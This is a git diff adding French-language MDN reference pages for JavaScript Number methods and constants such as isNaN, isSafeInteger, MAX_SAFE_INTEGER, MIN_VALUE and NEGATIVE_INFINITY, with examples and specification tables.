+<p>Les deux opérateurs d'égalité, {{jsxref("Opérateurs/Opérateurs_de_comparaison", "==", "#.C3.89galit.C3.A9_simple_(.3D.3D)")}} et {{jsxref("Opérateurs/Opérateurs_de_comparaison", "===", "#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)")}}, renvoient <code>false</code> pour vérifier que {{jsxref("NaN")}} <em>est</em> NaN. La fonction <code>Number.isNaN</code> est nécessaire pour distinguer ce cas. Le résultat de cette comparaison sera différent avec les autres méthodes de comparaisons en JavaScript.</p>
+
+<p>En effet, la fonction globale {{jsxref("isNaN")}} convertit l'argument en un nombre.  <code>Number.isNaN</code> ne convertit pas l'argument. Cela signifie qu'on peut passer des valeurs qui, normalement, seraient converties en NaN, mais qui ne sont pas NaN. Cela signifie également que, uniquement lorsque la méthode sera utilisée avec des nombres qui valent <code>NaN</code>, elle renverra <code>true</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js;">Number.isNaN(NaN); // true
+Number.isNaN(Number.NaN); // true
+Number.isNaN(0 / 0); // true
+
+// tout le reste renverra : false
+Number.isNaN(undefined);
+Number.isNaN({});
+
+Number.isNaN(true);
+Number.isNaN(null);
+Number.isNaN(37);
+
+Number.isNaN("37");
+Number.isNaN("37.37");
+Number.isNaN("");
+Number.isNaN(" ");
+Number.isNaN("NaN");
+Number.isNaN("blabla"); // ex : cette valeur aurait rendu true avec la méthode isNaN de l'objet global</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>La fonction suivant fonctionne car <code>NaN</code> est la seule valeur JavaScript qui n'est pas égale à elle-même.</p>
+
+<pre class="brush: js">Number.isNaN = Number.isNaN || function(value) {
+    return typeof value === "number" &amp;&amp; isNaN(value);
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-number.isnan', 'Number.isnan')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.isnan', 'Number.isnan')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.isNaN")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'objet {{jsxref("Number")}} auquel appartient cette méthode.</li>
+ <li>La méthode {{jsxref("Objets_globaux/Object/is", "Object.is")}} qui permet d'effectuer des comparaisons sur l'égalité de valeur</li>
+ <li>La méthode {{jsxref("isNaN")}} de l'objet global</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/issafeinteger/index.html b/files/fr/web/javascript/reference/objets_globaux/number/issafeinteger/index.html
new file mode 100644
index 0000000000..3aa5accb87
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/issafeinteger/index.html
@@ -0,0 +1,100 @@
+---
+title: Number.isSafeInteger()
+slug: Web/JavaScript/Reference/Objets_globaux/Number/isSafeInteger
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Number
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Number.isSafeInteger()</code></strong> permet de déterminer si la valeur, passée en argument, est un entier représentable correctement en JavaScript (c'est-à-dire un nombre compris entre -(2<sup>53</sup> -1) et 2<sup>53</sup> -1).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-issafeinteger.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Pour représenter des entiers qui ne sont pas compris dans cet intervalle, on pourra utiliser le type {{jsxref("BigInt")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Number.isSafeInteger(valeurÀTester)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code><var>valeurÀTester</var></code></dt>
+ <dd>La valeur dont on souhaite savoir si elle représente un entier représentable correctement en une valeur non signée sur 32 bits. (JavaScript utilise <a class="external external-icon" href="https://en.wikipedia.org/wiki/Double_precision_floating-point_format">les nombres au format de virgule flottante à double précision</a> comme spécifié dans <a class="external external-icon" href="https://fr.wikipedia.org/wiki/IEEE_754">IEEE 754</a> et ne peut représenter avec certitude un entier qu'entre <code>-(2<sup>53</sup>-1)</code> et <code>2<sup>53</sup> -1</code> (c'est-à-dire ± <code>9007199254740991</code>).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un booléen qui indique si la valeur fournie en argument est un entier représentable correctement en JavaScript.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Un entier correctement représentable en JavaScript :</p>
+
+<ul>
+ <li>peut exactement être représenté avec un nombre à précision double selon IEEE-754</li>
+ <li>la réprésentation IEEE-754 du nombre ne permet pas de l'arrondir à un autre entier pouvant être représenté avec le format décrit par IEEE-754.</li>
+</ul>
+
+<p>Ainsi, par exemple, <code>2<sup>53</sup> - 1</code> peut être représenté correctement, aucun autre entier ne peut être arrondi en cette valeur selon IEEE-754. En revanche, <code>2<sup>53</sup></code> ne peut pas être représenté correctement car <code>2<sup>53</sup> + 1</code> sera arrondi en <code>2<sup>53</sup></code> selon les règles IEEE-754 (arrondi à l'entier le plus proche).</p>
+
+<p>L'intervalle des entiers qui peuvent être correctement représentés est <code>[-(2<sup>53</sup> - 1),2<sup>53</sup> - 1</code> ].</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">Number.isSafeInteger(3);                    // true
+Number.isSafeInteger(Math.pow(2, 53))       // false
+Number.isSafeInteger(Math.pow(2, 53) - 1)   // true
+Number.isSafeInteger(NaN);                  // false
+Number.isSafeInteger(Infinity);             // false
+Number.isSafeInteger("3");                  // false
+Number.isSafeInteger(3.1);                  // false
+Number.isSafeInteger(3.0);                  // true
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-number.issafeinteger', 'Number.isSafeInteger')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.issafeinteger', 'Number.isSafeInteger')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.isSafeInteger")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'objet {{jsxref("Number")}} auquel appartient cette méthode</li>
+ <li>{{jsxref("Number.MIN_SAFE_INTEGER")}}</li>
+ <li>{{jsxref("Number.MAX_SAFE_INTEGER")}}</li>
+ <li>{{jsxref("BigInt")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/max_safe_integer/index.html b/files/fr/web/javascript/reference/objets_globaux/number/max_safe_integer/index.html
new file mode 100644
index 0000000000..7266e8d4ae
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/max_safe_integer/index.html
@@ -0,0 +1,74 @@
+---
+title: Number.MAX_SAFE_INTEGER
+slug: Web/JavaScript/Reference/Objets_globaux/Number/MAX_SAFE_INTEGER
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Number
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER
+---
+<div>{{JSRef}}</div>
+
+<p>La constante <code><strong>Number.MAX_SAFE_INTEGER </strong></code>représente la valeur (sûre) maximale d’un nombre entier en JavaScript (2<sup>53</sup> -1).</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Pour représenter des entiers supérieurs à cette valeur, on pourra utiliser le type {{jsxref("BigInt")}}.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/number-maxsafeinteger.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La constante <code>MAX_SAFE_INTEGER</code> a une valeur de <code>9007199254740991</code>. Cette valeur s'explique par le fait que JavaScript utilise <a href="http://en.wikipedia.org/wiki/Double_precision_floating-point_format">les nombres au format de virgule flottante à double précision</a> comme spécifié dans <a href="http://fr.wikipedia.org/wiki/IEEE_754">IEEE 754</a> et ne peut représenter avec certitude qu’un nombre entre <code>-(2<sup>53</sup>-1)</code> et <code>2<sup>53</sup> -1</code>.</p>
+
+<p>Dans ce contexte, « sûr » fait référence à la capacité à représenter exactement les entiers et à les comparer entre eux. Par exemple, <code>Number.MAX_SAFE_INTEGER + 1 === Number.MAX_SAFE_INTEGER + 2</code> vaudra <code>true</code> ce qui est mathématiquement incorrect. Pour plus d'informations, voir également {{jsxref("Number.isSafeInteger()")}}.</p>
+
+<p><code>MAX_SAFE_INTEGER</code> est une propriété statique de {{jsxref("Number")}}, elle doit toujours être utilisée comme <code>Number.MAX_SAFE_INTEGER</code> et non pas comme la propriété d'un objet <code>Number</code> qui aurait été instancié.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">Number.MAX_SAFE_INTEGER // 9007199254740991
+Math.pow(2, 53) -1      // 9007199254740991
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-number.max_safe_integer', 'Number.MAX_SAFE_INTEGER')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.max_safe_integer', 'Number.MAX_SAFE_INTEGER')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.MAX_SAFE_INTEGER")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.MIN_SAFE_INTEGER")}}</li>
+ <li>{{jsxref("Number.isSafeInteger()")}}</li>
+ <li>{{jsxref("BigInt")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/max_value/index.html b/files/fr/web/javascript/reference/objets_globaux/number/max_value/index.html
new file mode 100644
index 0000000000..405b3da898
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/max_value/index.html
@@ -0,0 +1,80 @@
+---
+title: Number.MAX_VALUE
+slug: Web/JavaScript/Reference/Objets_globaux/Number/MAX_VALUE
+tags:
+  - JavaScript
+  - Number
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Number.MAX_VALUE</strong></code> représente la valeur maximale qui peut être représentée par un nombre en JavaScript.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-maxvalue.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété statique <code>MAX_VALUE</code> vaut environ <code>1.79E+308</code> (soit 2<sup>1024</sup>). Les valeurs supérieures à <code>MAX_VALUE</code> sont représentées par {{jsxref("Infinity")}} (pour l'infini).</p>
+
+<p><code>MAX_VALUE</code> est une propriété statique de {{jsxref("Number")}}, il faut donc l'utiliser avec <code>Number.MAX_VALUE</code>, plutôt qu'en faisant appel à la propriété d'un objet<code> Number</code> qui aurait été instancié (si on appelle cette propriété sur l'objet <code>Number</code> créé, on obtiendra {{jsxref("undefined")}}).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le code suivant teste si le produit de deux nombres est inférieur ou égal à <code>MAX_VALUE</code>, selon le résultat de ce test, soit on utilisera <code>func1</code>, soit on utilisera <code>func2</code>.</p>
+
+<pre class="brush: js">if (num1 * num2 &lt;= Number.MAX_VALUE) {
+   func1();
+} else {
+   func2();
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.3.2', 'Number.MAX_VALUE')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.max_value', 'Number.MAX_VALUE')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.max_value', 'Number.MAX_VALUE')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.MAX_VALUE")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.MIN_VALUE")}}</li>
+ <li>{{jsxref("Number")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/min_safe_integer/index.html b/files/fr/web/javascript/reference/objets_globaux/number/min_safe_integer/index.html
new file mode 100644
index 0000000000..8f19b905d2
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/min_safe_integer/index.html
@@ -0,0 +1,72 @@
+---
+title: Number.MIN_SAFE_INTEGER
+slug: Web/JavaScript/Reference/Objets_globaux/Number/MIN_SAFE_INTEGER
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Number
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER
+---
+<div>{{JSRef}}</div>
+
+<p>La constante <code><strong>Number.MIN_SAFE_INTEGER</strong></code> représente le plus petit entier représentable correctement en JavaScript (-(2<sup>53</sup> -1)).</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Pour représenter des entiers inférieurs à cette valeur, on pourra utiliser le type {{jsxref("BigInt")}}.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/number-min-safe-integer.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>La constante <code>MIN_SAFE_INTEGER</code> vaut <code>-9007199254740991</code>. Cette valeur provient du fait qu'en JavaScript, les nombres sont représentés <a href="https://en.wikipedia.org/wiki/Double_precision_floating-point_format">en format à double précision</a> selon la norme <a href="http://fr.wikipedia.org/wiki/IEEE_754">IEEE 754</a> et on ne peut représenter correctement que les nombres compris entre <code>-(2<sup>53</sup>-1)</code> et <code>2<sup>53</sup> -1</code>. Voir {{jsxref("Number.isSafeInteger()")}} pour plus d'informations.</p>
+
+<p><code>MIN_SAFE_INTEGER</code> étant une méthode statique de {{jsxref("Number")}}, il faut utiliser <code><code>Number</code>.<code>MIN_SAFE_INTEGER</code>()</code>et non pas la méthode d'un objet <code>Number</code> qui aurait été instancié.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">Number.MIN_SAFE_INTEGER // -9007199254740991
+-Math.pow(2, 53) -1     // -9007199254740991
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-number.min_safe_integer', 'Number.MIN_SAFE_INTEGER')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.min_safe_integer', 'Number.MIN_SAFE_INTEGER')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.MIN_SAFE_INTEGER")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.MAX_SAFE_INTEGER")}}</li>
+ <li>{{jsxref("Number.isSafeInteger()")}}</li>
+ <li>{{jsxref("BigInt")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/min_value/index.html b/files/fr/web/javascript/reference/objets_globaux/number/min_value/index.html
new file mode 100644
index 0000000000..4a70b026d9
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/min_value/index.html
@@ -0,0 +1,83 @@
+---
+title: Number.MIN_VALUE
+slug: Web/JavaScript/Reference/Objets_globaux/Number/MIN_VALUE
+tags:
+  - JavaScript
+  - Number
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Number.MIN_VALUE</strong></code> représente la plus petite valeur numérique positive qu'il est possible de représenter en JavaScript.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-min-value.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>MIN_VALUE</code> représente le nombre positif le plus proche de 0 et non pas le nombre négatif minimal qu'il est possible de représenter en JavaScript.</p>
+
+<p><code>MIN_VALUE</code> vaut environ 5e-324. Les valeurs inférieures à <code>MIN_VALUE</code> sont converties en 0.</p>
+
+<p><code>MIN_VALUE</code> est une propriété statique de {{jsxref("Number")}} et doit donc être utilisée avec la syntaxe <code>Number.MIN_VALUE</code>, et non pas via la propriété d'un objet <code>Number</code> qui aurait été instancié.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le code qui suit effectue la division de deux nombres. Si le résultat obtenu est supérieur ou égal à <code>MIN_VALUE</code>, la fonction <code>func1</code> sera appelée, sinon la fonction <code>func2</code> sera utilisée.</p>
+
+<pre class="brush:js">if (num1 / num2 &gt;= Number.MIN_VALUE) {
+    func1();
+} else {
+    func2();
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.3.3', 'Number.MIN_VALUE')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.min_value', 'Number.MIN_VALUE')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.min_value', 'Number.MIN_VALUE')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.MIN_VALUE")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.MAX_VALUE")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/nan/index.html b/files/fr/web/javascript/reference/objets_globaux/number/nan/index.html
new file mode 100644
index 0000000000..71f705c9cc
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/nan/index.html
@@ -0,0 +1,64 @@
+---
+title: Number.NaN
+slug: Web/JavaScript/Reference/Objets_globaux/Number/NaN
+tags:
+  - JavaScript
+  - Number
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/NaN
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>Number.NaN</code></strong> représente une valeur qui n'est pas un nombre (en anglais « <em>Not-A-Number</em> » qui donne NaN). Elle est équivalente à {{jsxref("NaN")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-nan.html")}}</div>
+
+<p>Il n'est pas nécessaire de créer un objet {{jsxref("Number")}} pour accéder à cette propriété statique. Il suffit d'utiliser directement <code>Number.NaN</code>.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.3.4', 'Number.NaN')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.nan', 'Number.NaN')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.nan', 'Number.NaN')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.NaN")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'objet global {{jsxref("NaN")}} ;</li>
+ <li>L'objet {{jsxref("Number")}} auquel appartient cette propriété.</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/negative_infinity/index.html b/files/fr/web/javascript/reference/objets_globaux/number/negative_infinity/index.html
new file mode 100644
index 0000000000..5676e99d27
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/negative_infinity/index.html
@@ -0,0 +1,99 @@
+---
+title: Number.NEGATIVE_INFINITY
+slug: Web/JavaScript/Reference/Objets_globaux/Number/NEGATIVE_INFINITY
+tags:
+  - JavaScript
+  - Number
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Number.NEGATIVE_INFINITY</strong></code> représente l'infini négatif.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-negative-infinity.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>La valeur de <code>Number.NEGATIVE_INFINITY</code> est égale à l'opposé de la valeur fournie par la propriété {{jsxref("Infinity")}} de l'objet global.</p>
+
+<p>Cette valeur se comporte différemment de l'infini mathématique :</p>
+
+<ul>
+ <li>Toute valeur positive, y compris {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}, multipliée par <code>NEGATIVE_INFINITY</code> sera égale à <code>NEGATIVE_INFINITY</code>.</li>
+ <li>Toute valeur négative, y compris <code>NEGATIVE_INFINITY</code>, multipliée par <code>NEGATIVE_INFINITY</code> sera égale à <code>POSITIVE_INFINITY</code>.</li>
+ <li>Zéro multiplié par <code>NEGATIVE_INFINITY</code> sera égal à {{jsxref("NaN")}}.</li>
+ <li>NaN multiplié par <code>NEGATIVE_INFINITY</code> sera égal à <code>NaN</code>.</li>
+ <li><code>NEGATIVE_INFINITY</code>, divisé par n'importe quelle valeur négative, à l'exception de  <code>NEGATIVE_INFINITY</code>, sera égal à <code>POSITIVE_INFINITY</code>.</li>
+ <li><code>NEGATIVE_INFINITY</code>, divisé par n'importe quelle valeur positive à l'exception de  <code>POSITIVE_INFINITY</code>, sera égal à <code>NEGATIVE_INFINITY</code>.</li>
+ <li><code>NEGATIVE_INFINITY</code>, divisé par <code>NEGATIVE_INFINITY</code> ou <code>POSITIVE_INFINITY</code>, sera égal à <code>NaN</code>.</li>
+ <li>Tout nombre positif divisé par <code>NEGATIVE_INFINITY</code> sera égal au zéro négatif.</li>
+ <li>Tout nombre négatif divisé par <code>NEGATIVE_INFINITY</code> sera égal au zéro positif.</li>
+</ul>
+
+<p>La propriété <code>Number.NEGATIVE_INFINITY</code> peut être utilisée pour indiquer une erreur sur un test renvoyant normalement un nombre fini. On notera cependant que la méthode {{jsxref("isFinite")}} est plus pertinente dans ce cas.</p>
+
+<p><code>Number.NEGATIVE_INFINITY</code> est une propriété statique de {{jsxref("Number")}} et on utilisera directement <code>Number.NEGATIVE_INFINITY</code> plutôt que comme une propriété d'un objet (instance) {{jsxref("Number")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on affecte une variable inférieure à la valeur numérique minimale à la variable <code>petitNombre</code>. Lorsque l'instruction conditionnelle <code>if</code> est exécutée, <code>petitNombre</code> possède la valeur "<code>-Infinity</code>", on modifie donc la valeur de <code>petitNombre</code> afin qu'il puisse être géré.</p>
+
+<pre class="brush:js">var petitNombre = (-Number.MAX_VALUE) * 2
+
+if (petitNombre === Number.NEGATIVE_INFINITY) {
+ petitNombre = renvoyerUneValeurFinie();
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
